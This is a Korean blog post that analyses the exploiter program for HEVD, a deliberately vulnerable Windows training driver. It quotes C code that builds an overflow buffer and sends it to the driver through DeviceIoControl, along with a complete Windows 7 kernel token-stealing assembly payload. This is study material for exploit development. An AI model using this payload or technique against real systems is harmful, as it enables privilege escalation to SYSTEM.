WINDOWS] HEVD - 3) Exploiter 소스코드 분석

노션으로 옮김·2020년 3월 3일
1

skills

목록 보기
6/37
post-thumbnail

다음으로 exploit을 실행해주는 응용프로그램의 소스를 살펴본다.
github page - hevd

main

ARGBEGIN {
    case 'd':
        ExploitVulnerability.VulnerabilityType = DoubleFetch;
        break;
    case 'p':
        ExploitVulnerability.VulnerabilityType = PoolOverflow;
        break;

typedef enum _VULNERABILITY_TYPE {
DoubleFetch,
PoolOverflow,
UseAfterFree,
...,

ARGBEGIN로 정의한 매크로를 이용해서 옵션을 확인한다.
옵션(취약점 종류)에 따라 ExploitVulnerability.VulnerabilityType에 enum type으로 설정한 값을 저장한다.

Exploit

Exploit(&ExploitVulnerability);
VOID Exploit(PEXPLOIT_VULNERABILITY ExploitVulnerability) {
	...
	...   
    // Determine type of vulnerability to exploit
    switch (VulnerabilityType) {
        case StackOverflow:
            DEBUG_MESSAGE("[+] Starting Stack Overflow Exploitation\n");
            LaunchExploitThread(&StackOverflowThread);
            DEBUG_MESSAGE("[+] Completed Stack Overflow Exploitation\n");
            break;

설정된 enum 값에 따라 해당 취약점 익스플로잇 함수를 LaunchExploitThread의 인자로 전달하여 실행한다.

LaunchExploitThread

VOID LaunchExploitThread(LPTHREAD_START_ROUTINE ExploitHandlerThread) 
{
...
...
hThread = CreateThread(NULL, 0, ExploitHandlerThread, NULL, CREATE_SUSPENDED, 0);

먼저 취약점 함수에 대한 쓰레드를 생성한다.

SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
SetThreadAffinityMask(hThread, Mask);

그리고 쓰레드의 우선순위를 설정한 뒤, 쓰레드를 실행될 코어를 지정한다.

#1 doc ms - SetThreadAffinityMask

Remarks

A thread affinity mask is a bit vector in which each bit represents a logical processor that a thread is allowed to run on.

#2 https://1stpasa.tistory.com/8
Thread Handle을 인수로 받아 특정 코어에서 해당 Thread를 실행하도록 지정해주는 함수.
0x01 부터 순서대로 한비트씩 쉬프트 하면 원하는 코어를 결정할수 있다.
주의할점은 하나의 Thread는 여러개의 코어가 모두 실행시킬수 있는데
만약 첫번째 코어와 두번째 코어가 모두 실행 가능하도록 설정하고 싶다면
01 과 10 의 OR 연산결과값인 0x03 을 설정하면 되는것이다.
만약 코어 1,2,3 에서 실행가능하게 하고 싶다면
001 , 010 그리고 100 를 OR 연산하여 호출해주면 된다.

StackOverflowThread

DWORD WINAPI StackOverflowThread(LPVOID Parameter) {
...
...
hFile = GetDeviceHandle(FileName);
HANDLE GetDeviceHandle(LPCSTR FileName) {
    HANDLE hFile = NULL;
    hFile = CreateFile(FileName,
                       GENERIC_READ | GENERIC_WRITE,
                       FILE_SHARE_READ | FILE_SHARE_WRITE,
                       NULL,
                       OPEN_EXISTING,
                       FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
                       NULL);
    return hFile;
}

먼저 드라이버에 대한 스트림을 생성한다.

UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserModeBufferSize);

RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);

유저 버퍼를 할당하고, 버퍼를 0x41로 채운다.

MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));
*(PULONG)MemoryAddress = (ULONG)EopPayload;

유저 버퍼의 마지막 4바이트에 EopPayload의 주소를 저장한다.

PVOID EopPayload = &TokenStealingPayloadWin7;

EopPayloadTokenStealingPayloadWin7의 주소값이며

//Payloads.c
VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
        pushad                               ; Save registers state

        ; Start of Token Stealing Stub
        xor eax, eax                         ; Set ZERO
        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                             ; _KTHREAD is located at FS:[0x124]

        mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process

        mov ecx, eax                         ; Copy current process _EPROCESS structure

        mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

        mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                             ; with SYSTEM process nt!_EPROCESS.Token
        ; End of Token Stealing Stub

        popad                                ; Restore registers state

        ; Kernel Recovery Stub
        xor eax, eax                         ; Set NTSTATUS SUCCEESS
        add esp, 12                          ; Fix the stack
        pop ebp                              ; Restore saved EBP
        ret 8                                ; Return cleanly
    }
}

TokenStealingPayloadWin7는 어셈으로 코딩된 익스플로잇 코드이다.
따라서, 유저버퍼의 마지막 4바이트는 커널영역의 RET가 되는 위치로 유추된다.

DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
                        (LPVOID)UserModeBuffer,
                        (DWORD)UserModeBufferSize,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);

그 후, 설정한 유저버퍼 값을 드라이버에게 송신한다.

0개의 댓글